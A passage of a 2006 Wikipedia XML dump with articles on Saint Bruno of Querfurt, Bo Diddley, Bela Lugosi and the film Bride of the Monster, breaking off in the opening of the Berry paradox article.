    </revision>
  </page>
  <page>
    <title>Bruno of Querfurt</title>
    <id>5031</id>
    <revision>
      <id>40330172</id>
      <timestamp>2006-02-19T21:33:14Z</timestamp>
      <contributor>
        <ip>194.158.215.159</ip>
      </contributor>
      <comment>+ be:</comment>
      <text xml:space="preserve">'''Saint Bruno of Querfurt''' (c. [[970]]-[[1009]]), also known as '''Brun''' and '''Boniface''' is sometimes called the Apostle of the Prussians.
 
===Noble Born===

Bruno was from a noble family of [[Querfurt]], [[Saxony]]. He is said to have been a relative of the Holy Roman Emperor [[Otto III, Holy Roman Emperor|Otto III]]. At the age of six he was sent to be educated in Magdeburg, seat of [[Adalbert of Magdeburg|Saint Adalbert]]. While still a youth he was made a canon of [[Magdeburg]] cathedral.

===Age of 15===

The fifteen-year-old Otto III made Bruno a part of his royal court. While in Rome for Otto's imperial coronation, Bruno met [[Adalbert of Prague]], who was martyred a year later. Bruno spent much time at the monastery where Adalbert had become a monk and where abbot [[John Canaparius]] wrote a life of Saint Adalbert . Bruno entered a monastery near [[Ravenna]], founded by Otto, and underwent severe [[ascetic]] training under the guidance of [[Saint Romuald|St. Romuald]].

===Papal Appointment===

The pope appointed Bruno to mission among the pagan peoples of eastern Europe. Because of conflict between the Empire and [[Boleslaus I of Poland|Boleslaus I]], duke of Poland, Bruno set out from [[Mainz]] for [[Hungary]]. There he went to the places that Saint Adalbert of Prague had attended.

===Resistance of Greek Monks in Hungary===

Bruno tried to convert the leader of &quot;Black Hungary&quot; named Achtum or Axum, but he encountered strong opposition, including that of the Greek monks there.

===Journey to the Black Sea===

After this failure, Bruno went to [[Kiev]], where Grand Duke [[Vladimir I, Prince of Kiev|Vladimir I]] authorised him to make converts among the [[Pechenegs]] north of the [[Black Sea]] between the [[Danube]] and the [[Don River, Russia|Don]] rivers. The Pechenegs were considered the fiercest of all the pagan peoples, but Bruno spent five months there and baptized many. He helped to bring about a peace treaty between them and the Kiev ruler.

===Journey to Poland===

After consecrating a bishop of the area he went to Poland. 

In Poland he consecrated a bishop from Sweden. While there he found out that his friend Benedict and four companions had been killed by robbers in 1003.

===Wrote the History of the Five Martyred Brothers===

Bruno took eyewitness accounts and wrote down a touching history of the so-called Five Martyred Brothers.

===Exhortation for Clemency towards Boleslaus I===

In 1008 Bruno wrote a letter to [[Henry II, Holy Roman Emperor|Henry II.]]. Exhorting him to show clemency towards [[Boleslaus I]].

===Attempted to Found a Mission in Prussia===

At the end of 1008 Bruno and eighteen companions set out to found a mission among the [[Prussians]], but met with little success. They then traveled to the north-east, preaching everywhere they went.

===Journey to Lithuania===

In 1009 at the [[Baltic Sea]] coast near [[Braunsberg]] they were martyred. Annals of the monastery of Quedlinburg wrote about it. It was the first time [[Lithuania]] was mentioned. Duke Boleslaus bought the bodies and had them brought to Poland. They were laid probably in [[Przemy&amp;#347;l]] south-east of Poland where historians place Bruno's diocese.

Soon after his death Bruno and his companions were revered as martyrs and Saint Bruno was [[canonized]].

===Historical Basis for his Existence===

Archaeological work conducted in 1961 found XI century chapel in the underground of the current latin basilica.  There were 19 bodies found there including one buried in special niche in the wall of the chapel.

The city of [[Braunsberg]] (earlier ''Brunsberg'') in east [[Prussia (province)| Prussia]] was named for Saint Bruno.

Saint Bruno of Querfuhrt is unlikely to be the same Saint Bruno that witnessed the miracle of the Doctor of Paris in 1038 AD - now known as the Legend of [[Cenodoxus]] - and which inspired him to found the Brotherhood of Carthusia outside of Paris.

[[Category:German saints]]
[[Category:Missionaries]]

[[be:Бруна Квэрфурцкі]]
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    </revision>
  </page>
  <page>
    <title>Bo Diddley</title>
    <id>5033</id>
    <revision>
      <id>41738307</id>
      <timestamp>2006-03-01T11:31:02Z</timestamp>
      <contributor>
        <ip>217.125.157.239</ip>
      </contributor>
      <comment>Link to spanish Wikipedia</comment>
      <text xml:space="preserve">[[Image:BoDiddley.jpg|right|thumb|225px|Bo Diddley's emphasis on [[rhythm]] largely influenced [[popular music]], especially that of [[rock and roll]] in the [[1960s]].]]

'''Bo Diddley''' (born [[December 30]], [[1928]]) &quot;'''The Originator'''&quot;, is an influential [[United States|American]] [[rock and roll]] singer, songwriter, and guitarist. He is often cited as a key figure in the transition of [[blues]] into [[rock and roll]], by introducing more insistent, driving [[rhythm]]s and a harder-edged guitar sound.

He was born '''Otha Ellas Bates''' in [[McComb, Mississippi]] and later took the name '''Ellas McDaniel''', after his adoptive mother, Gussie McDaniel. He adopted the [[stage name]] Bo Diddley, which is probably a southern black slang phrase meaning &quot;nothing at all&quot;, as in &quot;he ain't bo diddley&quot;.  Another source says it was his nickname as a [[Golden Gloves]] [[boxing|boxer]]. The nickname is also linked to the [[diddley bow]], a one stringed instrument used in the south by mainly black musicians in the fields.

He was given a guitar by his sister as a youth, but also took [[violin]] lessons.  He was inspired to become a musician by seeing [[John Lee Hooker]].  

He recorded for Chicago's [[Chess Records]] subsidiary label Checker.

He is best known for the &quot;Bo Diddley beat&quot;, a [[rhumba]]-based beat (see [[clave (rhythm)|clave]]) also influenced by what is known as &quot;[[hambone]]&quot;, a style used by street performers who play out the beat by slapping and patting their arms, legs, chest, and cheeks while chanting rhymes. The Bo Diddley beat is often illustrated with the phrase: &quot;shave 'n' a haircut - two bits&quot;.

The beat has been used by many other artists, notably [[Johnny Otis]] on &quot;Willie and the Hand Jive&quot;, which is more about hambone than it is a direct copy of Bo Diddley, [[Bruce Springsteen]]'s &quot;She's the One,&quot; [[U2]]'s &quot;[[Desire (song)|Desire]]&quot;, [[Buddy Holly]]'s &quot;Not Fade Away&quot; and the [[Rolling Stones]]' &quot;Mona&quot; as well as more obscure numbers such as &quot;Callin' All Cows&quot; by the Blues Rockers.  

Bo Diddley used a variety of rhythms, however, from straight [[back beat]] to pop ballad style, frequently with [[maraca]]s by [[Jerome Green]]. He was also an influential [[guitar]] player, with many special effects and other innovations in tone and attack. He also plays the [[violin]], which is featured on his mournful [[instrumental rock|instrumental]] &quot;The Clock Strikes Twelve&quot;.  

Rhythm is so important in Bo Diddley's music that [[harmony]] is often reduced to a bare simplicity. His songs (for example &quot;Hey Bo Diddley&quot; and &quot;Who Do You Love?&quot;) often have no [[chord (music)|chord]] changes; that is, the musicians play the same chord throughout the piece, so that excitement is created by the rhythm, rather than by harmonic tension and release.

His own songs have been frequently covered.  [[The Animals]] recorded &quot;The Story of Bo Diddley&quot;, [[The Who]] and [[The Yardbirds]] both covered &quot;I'm a Man&quot; and both [[the Woolies]] and [[George Thorogood]] had hits with &quot;Who Do You Love&quot;, which was also covered by [[Quicksilver Messenger Service]] and was a concert favorite of [[The Doors]].  Bo Diddley's &quot;Road Runner&quot; was also frequently covered, including by [[The Who]] in concert. Muddy Waters' &quot;Mannish Boy&quot; was an adaptation of Diddley's &quot;I'm a Man&quot;. (&quot;Say Man&quot; was his only [[Top 40]] hit.) [[The Jesus and Mary Chain]] also recorded a tribute song &quot;Bo Diddley is Jesus&quot;.  [[Ronnie Hawkins]] recorded and covered &quot;Hey Bo Diddley&quot;, &quot;Bo Diddley&quot; and &quot;Who Do You Love&quot; during his many recording sessions, including those with his backing band of the time, The Hawks, of course, later known as [[The Band]].   

On [[November 20]], [[1955]], Bo Diddley was the first [[African-American]] to appear on [[The Ed Sullivan Show|''The Ed Sullivan Show'' ]], only to infuriate him (&quot;I did two songs and he got mad.&quot; Diddley later recalls, &quot;Ed Sullivan said that I was one of the first colored boys to ever double-cross him. Said that I wouldn't last six months.&quot;). Diddley was asked to sing [[Tennessee Ernie Ford]]'s hit [[Sixteen Tons]]. But when he appeared on stage, he sang his #1 hit ''Bo Diddley.'' He was banned from performing on Sullivan's show. &lt;!--Shold this be included in this article about Bo Diddley?--&gt;(He wasn't the last performer to cross [[Ed Sullivan|The Great Stoneface]]. In fact, two more performers crossed Sullivan: comedian [[Jackie Mason]]&amp;mdash;when he allegedly gave [[the finger]] to Sullivan around [[1962]], [[1964]], or [[1969]]&amp;mdash;and the rock group [[The Doors]], when [[Jim Morrison]] sang the word &quot;higher&quot; when asked not to, on [[September 17]], [[1967]].)

Although Bo Diddley was a breakthrough crossover artist with white audiences, appearing on the [[Alan Freed]] concerts, for instance, he rarely tailored his compositions to teenaged concerns.  The most notable exception is probably his album ''Surfin' With Bo Diddley'', which featured &quot;Surfer's Love Call&quot;, and while Bo may never have hung ten in his baggies to catch the big wave, he was definitely an influence on surf guitar players.  

His lyrics are often witty and humorous adaptations of [[folk music]] themes. His first hit, &quot;Bo Diddley&quot; was based on the [[lullaby]] &quot;Hush Little Baby&quot;.  Likewise, &quot;Hey Bo Diddley&quot; is based on the folk song, &quot;Old Macdonald&quot;.  The [[Roots of rap music|rap]]-style boasting of &quot;Who Do You Love&quot;, a [[wordplay]] on [[hoodoo]], used many striking lyrics from the [[African-American]] tradition of toasts and boasts. His &quot;Say Man&quot; and &quot;Say Man, Back Again&quot; have been connected with rap, but actually feature the insults known as the [[Dozens]]:  &quot;You look like you been in a hatchet fight and everybody had a hatchet except you.&quot;

In addition to the many songs identified with him, he wrote the pioneering [[pop music|pop tune]] &quot;[[Love Is Strange]]&quot; for [[Mickey Baker|Mickey]] and [[Sylvia Vanderpool|Sylvia]] under a pseudonym.

His trademark instrument is the square-bodied guitar that he developed and wielded in thousands of concerts over the years&amp;mdash;from sweaty Chicago clubs to rock and roll oldies tours and even as an opening act for [[The Clash]] and a guest for the [[Rolling Stones]].

In recent years, Bo Diddley has received numerous accolades in recognition of his role as one of the founding fathers of [[rock and roll]]. In 1986, he was inducted into the [[Washington Area Music Association]]'s Hall of Fame. The following year saw his induction into the [[Rock and Roll Hall of Fame]]. His pioneering contribution to the genre has been recognized by the [[Rockabilly Hall of Fame]]. In 1996, he was awarded the Lifetime Achievement Award by the [[Rhythm and Blues Foundation]]. The following years saw his 1955 recording of his song &quot;Bo Diddley&quot; inducted into the Grammy Hall of Fame as a recording of lasting qualitative or historical significance and he received a Lifetime Achievement Award at the [[Grammy Awards]] Ceremony.

The start of the new millennium saw Bo Diddley inducted into the [[Mississippi Musicians Hall of Fame]] and into the [[North Florida Music Association]]'s Hall of Fame. In 2002, he received a Pioneer in Entertainment Award from the [[National Association of Black Owned Broadcasters]] and a [[Broadcast Music Incorporated]] (BMI) Icon Award in recognition of his many contributions to contemporary music.

In 2003, tribute was paid to Bo Diddley in the [[United States House of Representatives]] by [[Hon. John Conyers, Jr.]] of [[Michigan]], who described him as &quot;one of the true pioneers of [[rock and roll]], who has influenced generations&quot;.

In 2004, [[Mickey Baker|Mickey]] and [[Sylvia Vanderpool|Sylvia]]'s 1956 recording of his song &quot;[[Love Is Strange]]&quot; was inducted into the Grammy Hall of Fame as a recording of qualitative or historical significance and he was inducted into the [[Blues Foundation]]'s Blues Hall of Fame. [[Rolling Stone]] magazine named him as one of its Immortals - The 50 Greatest Artists of All-Time.

In 2005, Bo Diddley celebrated his 50th anniversary in music with successful tours of [[Australia]] and [[Europe]] and with coast to coast shows across [[North America]]. He performed his song &quot;Bo Diddley&quot; with [[Eric Clapton]] and [[Robbie Robertson]] at the [[Rock and Roll Hall of Fame]]'s 20th annual induction ceremony and in the UK, [[Uncut]] magazine included his 1958 debut album &quot;Bo Diddley&quot; in its listing of the 100 Music, Movie &amp; TV Moments That Have Changed The World.

In 2006, Bo Diddley graciously participated as the headliner of a grass-roots organized fundraiser concert to benefit the town of Ocean Springs, Mississippi, which was devastated by hurricane Katrina.  The &quot;[Florida Keys for Katrina Relief]&quot; was originally set for October 23, 2005, but hurricane Wilma barreled through the Florida Keys On October 24 causing flooding and economic mayhem.  In January 2006 the Florida Keys had recovered enough to host the fundraising concert to benefit the more hard hit community of Ocean Springs, MS.  When asked about the fundraiser Bo Diddley stated, &quot;This is the United States of America. We believe in helping one another.&quot;  See the video at [http://www.floridakeysforkatrinarelief.com/musical_performers.htm]

==Discography==
*''[[Bo Diddley (album)|Bo Diddley]]'' ([[1958]])
*''Go Bo Diddley'' ([[1959]])
*''Have Guitar-Will Travel'' ([[1960]])
*''Bo Diddley In The Spotlight'' ([[1960]])
*''Bo Diddley Is A Gunslinger'' ([[1960]])
*''Bo Diddley Is A Lover'' ([[1961]])
*''Bo Diddley's A Twister'' ([[1962]])
*''Bo Diddley'' ([[1962]])
*''Bo Diddley &amp; Company'' ([[1962]])
*''Surfin' with Bo Diddley'' ([[1963]])
*''Bo Diddley's Beach Party'' ([[1963]])
*''Bo Diddley's 16 All-Time Greatest Hits'' ([[1964]])
*''Two Great Guitars'' (with [[Chuck Berry]]) ([[1964]])
*''Hey Good Lookin''' ([[1965]])
*''500% More Man'' ([[1965]])
*''The Originator'' ([[1966]])
*''Super Blues'' (with [[Muddy Waters]] &amp; [[Little Walter]]) ([[1967]])
*''Super Super Blues Band'' (with [[Muddy Waters]] &amp; [[Howlin' Wolf]]) ([[1967]])
*''The Black Gladiator'' ([[1970]])
*''Another Dimension'' ([[1971]])
*''Where It All Began'' ([[1972]])
*''Got My Own Bag of Tricks'' ([[1972]])
*''The London Bo Diddley Sessions'' ([[1973]])
*''Big Bad Bo'' ([[1974]])
*''20th Anniversary of Rock &amp; Roll'' ([[1976]])
*''I'm A Man'' ([[1977]])
*''Ain't It Good To Be Free'' ([[1983]])
*''Bo Diddley &amp; Co - Live'' ([[1985]])
*''Hey...Bo Diddley in Conce rt'' ([[1986]])
*''Breakin' Through The BS'' ([[1989]])
*''Living Legend'' ([[1989]])
*''Rare &amp; Well Done'' ([[1991]])
*''Live At The Ritz'' (with [[Ronnie Wood]]) ([[1992]])
*''This Should Not Be'' ([[1993]])
*''Promises'' ([[1994]])
*''A Man Amongst Men'' ([[1996]])
*''Moochas Gracias'' (with [[Anna Moo]]) ([[2002]])

==External links==
* Authorized Website [http://members.tripod.com/~Originator_2/index.html Bo Diddley-The Originator]

[[Category:1928 births|Diddley, Bo]]
[[Category:Living people|Diddley, Bo]]
[[Category:American songwriters|Diddley, Bo]]
[[Category:Blues musicians|Diddley, Bo]]
[[Category:Blues guitarists|Diddley, Bo]]
[[Category:American guitarists|Diddley, Bo]]
[[Category:American male singers|Diddley, Bo]]
[[Category:Rock and Roll Hall of Fame inductees|Diddley, Bo]]
[[Category:Mississippi musicians|Diddley, Bo]]

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    </revision>
  </page>
  <page>
    <title>Bela Lugosi</title>
    <id>5034</id>
    <revision>
      <id>40992379</id>
      <timestamp>2006-02-24T09:29:23Z</timestamp>
      <contributor>
        <username>Oed</username>
        <id>513366</id>
      </contributor>
      <minor />
      <comment>Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]] - Mystery</comment>
      <text xml:space="preserve">[[Image:Dracula Stamp.jpg|thumb|250px|Bela Lugosi as Dracula United States stamp]]

'''Béla Lugosi''' was the stage name of [[actor]] '''Béla Ferenc Dezső Blaskó''' ([[October 20]], [[1882]]&amp;ndash;[[August 16]], [[1956]]).  He was born in Lugos, [[Banat]], [[Austria-Hungary]] (now [[Lugoj]], [[Romania]]), the youngest of four children of a banker. The blue-eyed actor is best known for his portrayal of [[Dracula]] in the American [[Broadway theatre|Broadway]] [[theatre|stage]] production, and subsequent [[film]], of [[Bram Stoker]]'s classic [[vampire]] story.

==Early career in Hungary==
Lugosi started his acting career on the stage in Hungary in several [[William Shakespeare|Shakespearean]] plays and other major roles, and also appeared in several [[silent film]]s of the [[Cinema of Hungary]] under the stage name '''Arisztid Olt'''. During [[World War I]] he served as an [[infantry]] [[lieutenant]] in the [[Austria-Hungary|Austro-Hungarian]] army.

Lugosi left his native [[Hungary]] for [[Germany]] in [[1919]]. Following the collapse of [[Bela Kun]]'s [[Hungarian Soviet Republic]], left-wingers and [[trade union]]ists were persecuted including Lugosi who was persecuted following his complicity in the forming of an actor's [[labor union|union]]. In exile, he began appearing in a small number of well received films in German cinema. One of his earliest appearances for the German film industry was in the 1920 adaptation of the [[Karl May]] penned novel ''Die Todeskarawane (The Death Caravan)'' opposite the ill-fated Jewish actress [[Dora Gerson]]. Lugosi emigrated to the [[United States]] in [[1921]] and on [[June 26]], [[1931]] became a [[naturalized citizen]] of the United States.

==''Dracula''==

On arrival in America, the 1.85 m (6'1&quot;), 82 kg (180 lb) Lugosi worked for some time as a laborer, then returned to the theater within the Hungarian-American community.  He was spotted there and approached to star in a play adapted by [[John Balderston]] from [[Bram Stoker]]'s novel ''[[Dracula]]''. The production was very successful. Despite his excellent notices in the title role, Lugosi had to campaign vigorously for the chance to repeat his stage success in [[Tod Browning]]'s movie version of ''[[Dracula (1931 film)|Dracula]]'' ([[1931]]), produced by [[Universal Studios|Universal Pictures]]. 

A persistent rumor asserts that silent-film actor [[Lon Chaney, Sr.]] was originally scheduled for this film role, and that Lugosi was chosen only due to Chaney's death. Chaney, however, was under long-term contract to [[Metro-Goldwyn-Mayer]], and his home studio refused to release him to Universal for this project. Further, although Chaney and Browning had worked together on several projects, Browning was only a last-minute choice to direct the movie version of ''[[Dracula]]'': this film was not a long-time pet project of Tod Browning, despite some claims to the contrary.

Following the success of ''[[Dracula (1931 film)|Dracula]]'' ([[1931]]), Lugosi received a studio contract with Universal.

==Typecasting==
Through his association with Dracula (in which he appeared with minimal makeup, using his natural, heavily-accented voice), Lugosi found himself typecast as a [[horror film|horror]] villain in such movies as ''[[Murders in the Rue Morgue (1932 film)|Murders in the Rue Morgue]]'', ''[[The Raven (1935 film)|The Raven]]'' and ''[[Son of Frankenstein]]'' for Universal, and the independent ''[[White Zombie (movie)|White Zombie]]''.

Lugosi declined an offer to appear as The Monster in ''[[Frankenstein (1931 film)|Frankenstein]]'' because the role had no dialogue and would have concealed Lugosi beneath heavy makeup. The role was taken by the man who became Lugosi's principal rival in horror films, [[Boris Karloff]]. Several films at Universal, such as ''[[The Black Cat]]'' (1934), ''[[The Raven (1935 film)]]'' (1935), and ''[[Son of Frankenstein]]'' (1939) paired Lugosi with Karloff. Regardless of the relative size of their roles, Lugosi inevitably got second billing, below Karloff.  Lugosi's attitude towards Karloff is the subject of contradictory reports, some claiming that he was openly resentful of Karloff's long-term success and ability to get good roles beyond the horror arena, while others suggested the two actors were - for a time at least - good friends.

Attempts were made to give Lugosi more heroic roles, as in ''[[The Black Cat (1934 film)|The Black Cat]]'', ''[[The Invisible Ray]]'' and a small role in the comedy classic ''[[Ninotchka]]'' opposite [[Greta Garbo]], but did not help him break out of the &quot;type&quot; into which he had been placed.

==Decline==
After Universal changed management in 1936, he found himself consigned, along with their entire approach to horror films, to Universal's [[B-movie|b-film unit]], at times in small roles where he was obviously used for &quot;name value&quot; only.  In the early 1940s, Universal did not renew its contract with Lugosi, and he ended up having to contract with the [[Poverty Row]] company [[Monogram Pictures]], where he received star billing in a succession of horror, [[psycho]] and [[Mystery_fiction|mystery]] B-films produced by [[Sam Katzman]].

Later on, the acting jobs dried up and Lugosi became addicted to [[morphine]], originally prescribed him for severe back pain in the early 1940s, though he did get to recreate the role of Dracula one last time in the film ''[[Abbott and Costello Meet Frankenstein|Bud Abbott and Lou Costello Meet Frankenstein]]'' in [[1948]].

[[Image:DraculaLugosi1931Poster.jpg|thumb|[[1931]] film poster, promoting [[Bela Lugosi]]'s genre-defining turn as Dracula.]]

Late in his life, he again received star billing in movies when [[Ed Wood, Jr.|Ed Wood]], a would-be filmmaker and fan of Lugosi's, found him living in obscurity and near-poverty and offered him roles in his films, such as ''[[Glen or Glenda]]'' (in which his role made no more sense than the rest of the movie) and as a mad scientist in ''[[Bride of the Monster]]''.  During post-production of the latter, Lugosi entered treatment for his morphine addiction, and the premier of the film was ostensibly intended to help pay for his treatment expenses. The extras in the DVD release of ''[[Plan 9 from Outer Space]]'' include an impromptu interview with Lugosi upon his exit from the treatment center, which provide some rare personal insights into the man.

Following his treatment, Lugosi made one final film, in late 1955, ''[[The Black Sleep]]'', for [[Bel-Air Pictures]], which was released in the summer of 1956 through [[United Artists Corp.]] with an [[a-film]] campaign that included several personal appearances.  To his disappointment, however, his role in this film was of a mute, with no dialogue.

==Death and posthumous performance==
Lugosi died of a drug-related [[Myocardial infarction|heart attack]] on [[August 16]], [[1956]] while sitting in a chair in his [[Los Angeles, California|Los Angeles]] home. He was 73. The script for ''Final Curtain'', written by Ed Wood, was in his lap.  (His role in this film was later given to [[Kenne Duncan]], and shots from that production made their way into Wood's ''Night of the Ghouls'', a sequel of sorts to &quot;Bride of the Monster&quot;.)

Bela Lugosi was buried wearing one of the many capes from the Dracula stageplay, as per the request of his fifth wife and son, in the [[Holy Cross Cemetery]] in [[Culver City, California]].  While it was stated that Lugosi made no requests regarding his burial, either verbally or through his will, this appears to be urban myth; verification can be obtained from the special edition DVD of Dracula.

One of Lugosi's most infamous roles was in a movie released after he was dead.  Ed Wood's ''[[Plan 9 from Outer Space]]'' features footage of Lugosi interspersed with a double who looks nothing like him. Wood had taken a few minutes of silent footage of Lugosi, in his Dracula cape, for a planned vampire picture but was unable to find financing for the project. When he later conceived of ''Plan 9'', Wood wrote the script to incorporate the Lugosi footage and hired his wife's [[chiropractor]] to double for Lugosi in additional shots.  The &quot;double&quot; can easily be spotted by the fact that he looks nothing like Lugosi and covers his face with his cape in every shot.

==Legacy==
In the [[postmodern]] period, Lugosi became the subject of a song by [[gothic rock]] band [[Bauhaus (band)|Bauhaus]] entitled &quot;[[Bela Lugosi's Dead]]&quot;, and a couple of his worst films turned up for mocking on the televison program ''[[Mystery Science Theater 3000]]''.

The pseudo-biographical film ''[[Ed Wood (movie)|Ed Wood]]'' ([[Tim Burton]], [[1994]]) is a sentimental interpretation of the relationship between Lugosi and Wood. Lugosi is played by [[Martin Landau]] in a good-natured and sometimes moving interpretation for which Landau received an [[Academy Award]] for best supporting actor. Lugosi's son, [[Bela Lugosi, Jr.]] initially disapproved of his father's portrayal in the film, despite never having seen it, but after a long correspondance with Martin Landau, Lugosi Jr. was persuaded to view the film in Landau's company. Lugosi Jr. declared that Landau had 'honored' his father with his portrayal and the actor and the late star's son became friends as a result. 

Contrary to Burton's film, Lugosi did not receive top billing for ''Plan 9''.  Instead he was listed as a guest-star, below [[Tor Johnson]], [[Vampira]] and Kenne Duncan.

==See also==
*[[List of Films of Bela Lugosi|Index of Films of Bela Lugosi]]

==External links==
*{{imdb name|id=0000509|name=Béla Lugosi}}
*[http://www.allmovie.com/cg/avg.dll?p=avg&amp;sql=B43690 Bela Lugosi] at the [[All Movie Guide]]
*[http://tesla.liketelevision.com/liketelevision/tuner.php?channel=846&amp;format=movie&amp;theme=guide Watch Bela Lugosi in White Zombie (1932)]
*[http://www.movie-monsters.co.uk/dracula.html Bela Lugosi in Dracula (1931)]
*[http://www.lugosi.de/ A Bela_Lugosi Fan Site]
*[http://ic1.deviantart.com/fs8/i/2005/308/1/0/1931_Dracula__2005_tribute__by_shok75.jpg A remake of the 1931 poster - fan art]

[[Category:1882 births|Lugosi, Bela]]
[[Category:1956 deaths|Lugosi, Bela]]
[[Category:Hungarian stage actors|Lugosi, Bela]]
[[Category:American stage actors|Lugosi, Bela]]
[[Category:Hungarian silent film actors|Lugosi, Bela]]
[[Category:American silent film actors|Lugosi, Bela]]
[[Category:American film actors|Lugosi, Bela]]
[[Category:Mystery Science Theater 3000|Lugosi, Bela]]
[[Category:Naturalized citizens of the United States|Lugosi, Bela]]
[[Category:Hungarian-Americans|Lugosi, Bela]]
[[Category:Roman Catholics|Lugosi, Bela]]


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  </page>
  <page>
    <title>Bride of the Monster</title>
    <id>5035</id>
    <revision>
      <id>41369518</id>
      <timestamp>2006-02-26T22:18:31Z</timestamp>
      <contributor>
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      <comment>/* References */</comment>
      <text xml:space="preserve">{{Infobox_Film |
  name     = Bride of the Monster |
  image          = Bride.jpg |
  director       = [[Ed Wood, Jr.]] |
  producer       = [[Donald E. McCoy]]&lt;br&gt;[[Tony McCoy (actor)|Tony McCoy]]&lt;br&gt;[[Ed Wood, Jr.]] |
  writer         = [[Ed Wood, Jr.]]&lt;br&gt;[[Alex Gordon]] |
  starring       = [[Tony McCoy]]&lt;br&gt;[[Bela Lugosi]]&lt;br&gt;[[Loretta King]] |
  movie_music    = [[Frank Worth]] |
  distributor    = [[Banner Pictures]] |
  released   = [[11 May]], [[1956]] ([[United States|USA]]) |
  runtime        = 68 min. |
  language = [[English language|English]] |
  imdb_id        = 0047898 |
  music          = |
  awards         = |
  budget         = |
}}
Originally known as ''Bride of the Atom'', '''''Bride of the Monster''''' is a [[1955 in film|1955]] [[science fiction film]] starring [[Bela Lugosi]] in a traditional [[mad scientist]] role. It was produced, directed and co-written by [[Edward D. Wood, Jr.]]. A [[sequel]], entitled ''[[Night of the Ghouls]]'', was made in [[1959]] but went unreleased for decades.

==Plot==
Lugosi's character, Dr. Eric Vornoff, is experimenting with [[atomic energy]] in a primitive laboratory in his mansion. His goal is to create an army of mutated supermen to do his bidding. Newspaper reporter Janet Lawton (a role originally intended for [[Dolores Fuller]] but given to [[Loretta King]]) starts investigating, as do the local police. Meanwhile, an East German &quot;monster hunter&quot;, Professor Strowksi (George Becwar), is creeping around trying to persuade Dr. Vornoff to return to their homeland.

==Themes==
Lugosi's character says at one point: &quot;One is always considered mad, if one discovers something that others cannot grasp&quot;. It has been argued by commentators on the film that it is actually meaningful as a criticism of standard views and ideas. It has also been suggested that the phrase expresses both Wood's and Lugosi's bitterness at the lack of appreciation for their work. According to some, this is a good example of the theory that the problem with Wood's movies was not necessarily his ideas in themselves, but rather their poor execution.

The closing comment by the heroes, after Vornoff's demise in the hands of his own creation, &quot;He tampered in God's domain&quot;, is typical of the view in science fiction films that science is bad, even destructive. (Because executive producer Donald E. McCoy disagreed with the use of atomic power, he only agreed to finance the film if Wood changed the script to end with an atomic explosion as a warning against atomic weapons.)

==Myths about the film==
[[Image:Lugosi Octopus.jpg|thumb|left|350px|Lugosi and the octopus]]
Some sources say Wood stole the mechanical [[octopus]] (originally used for the [[John Wayne]] film ''Wake of the Red Witch'') from a props storage vault at [[Republic Pictures|Republic Studios]]. Other sources insist Wood legitimately rented the octopus, along with some cars, from Republic. Regardless, its inner mechanism was missing, and Lugosi &quot;struggled&quot; with it by moving its arms around in an effort to make it seem alive.

It is sometimes claimed, such as in the book ''[[The Golden Turkey Awards]]'',  that Lugosi's character declares his manservant Lobo ([[Tor Johnson]]) &quot;as harmless as kitchen&quot; (''sic'' - p.178) This allegedly misspoken line is often cited as evidence of either Lugosi's failing health/mental faculties, or as further evidence of Wood's incompetence as a director. However, a viewing of the film itself reveals that Lugosi said this line correctly, the exact words being, &quot;Don't be afraid of Lobo; he's as gentle as a kitten.&quot;

Rudolph Grey's book ''Nightmare of Ecstasy: The Life and Art of Edward D. Wood Jr.'' contains anecdotes regarding the making of this film. Grey notes that participants in the original events sometimes contradict one another, but he relates each person's information for posterity regardless.

==Legacy==
The shooting of this movie is re-enacted in [[Tim Burton]]'s [[Ed Wood (movie)|''Ed Wood'']].

==Trivia==
This film is part of what Wood aficionados refer to as &quot;The Kelton Trilogy&quot;, a trio of films featuring [[Paul Marco]] as &quot;Officer Kelton&quot;, a whining, reluctant policeman. The other two films are ''[[Night of the Ghouls]]'' and ''[[Plan 9 from Outer Space]]''.

The television program ''[[Mystery Science Theater 3000]]'' mocked ''Bride of the Monster'' in one episode. Johnson, in the character of Lobo, also appeared in ''The Unearthly'', a non-Wood film which appeared years after ''Bride of the Monster'' but which had been featured on ''MST3K'' a year before ''Bride'' was.  Johnson also appeared in a third ''MST3K'' movie, ''The Beast of Yucca Flats''.  The character of Lobo appeared again in ''Bride'''s sequel, ''[[Night of the Ghouls]]'', which was never MSTed.

==References==
* Grey, Rudolph. ''Nightmare of Ecstasy: The Life and Art of Edward D. Wood Jr.''. 1992, Feral House. ISBN 0922915040.
* Medved, Michael, and Harry Medved. ''The Golden Turkey Awards''. 1980, Putnam. ISBN 039950463X.
* Sloan, Will. (April 2005). &quot;Can Your Heart Stand the Shocking Facts About Kelton the Cop A/K/A Paul Marco?&quot; Filmfax, p. 88-89

==External links==
* {{imdb title|id=0047898|title=Bride of the Monster}}
*{{Movie-Tome|id=50288|title=Bride of the Monster}}

[[Category:1955 films]]
[[Category:Science fiction films]]
[[Category:MST3K movies]]
[[Category:Films directed by Ed Wood]]
[[Category:Public domain films]]
[[Category:Mad science]]

[[de:Die Rache des Würgers]]
[[fr:Bride of the Monster]]</text>
    </revision>
  </page>
  <page>
    <title>Berry paradox</title>
    <id>5036</id>
    <revision>
      <id>38216973</id>
      <timestamp>2006-02-04T23:34:25Z</timestamp>
      <contributor>
        <username>Deville</username>
        <id>364144</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Finite]] to [[Finite set]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">The '''Berry paradox''' is the apparent contradiction that arises from expressions such as the following:

:''The smallest positive [[integer]] not nameable in under eleven words.''

We can argue that this phrase specifies a unique integer as follows: there are [[Finite set|finite]]ly many phrases of fewer than eleven words.  Some of these phrases denote a unique integer: For example, &quot;one hundred thirty six&quot;, &quot;the smallest prime number greater than five hundred million&quot; or &quot;ninety raised to the [[centillion]]&lt;sup&gt;th&lt;/sup&gt; power&quot;. On the other hand, some of these phrases denote things which are not integers: For example &quot;Tony Blair&quot;  or &quot;Miguel de Cervantes.&quot; In any case, the set '''A''' of integers that can be uniquely specified in under eleven words is finite.  Since '''A''' is finite, not every positive integer can be in '''A'''. Thus by [[well-ordering]] of the integers,  there is a smallest positive integer that is not in '''A'''.

But the Berry expression itself is a specification for that number in only ten words! 

